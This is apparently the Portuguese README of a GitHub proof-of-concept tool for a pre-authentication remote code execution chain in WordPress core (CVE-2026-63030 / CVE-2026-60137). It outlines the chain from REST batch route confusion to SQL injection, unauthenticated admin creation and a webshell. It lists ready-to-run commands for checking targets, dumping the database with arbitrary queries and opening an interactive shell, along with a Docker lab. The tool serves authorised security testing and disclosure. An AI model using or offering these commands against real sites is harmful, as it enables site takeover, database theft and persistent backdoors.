securelayer7/wordpresshellPoC de RCE pré-autenticação para CVE-2026-63030 / CVE-2026-60137 (núcleo do WordPress)
PoC de RCE pré-auth para CVE-2026-63030 + CVE-2026-60137 (núcleo do WordPress).
Confusão de rota REST /batch/v1 → SQLi via WP_Query author__not_in → criação de admin sem autenticação → webshell. Arquivo único, apenas com stdlib do Python.
Vulnerabilidade: Adam Kues (Searchlight Cyber). Afetadas: 6.9.0–6.9.4, 7.0.0–7.0.1. Corrigidas: 6.9.5 / 7.0.2.
python3 WordPresShell.py check http://target # confirma (não destrutivo)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # RCE sem crack
python3 WordPresShell.py shell http://target -i # interativo
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # WordPress 7.0.1 em :8092
docker compose down -v # encerramento
O comando shell cria um admin e implanta uma webshell — remova ambos após o teste.
Apenas para testes autorizados.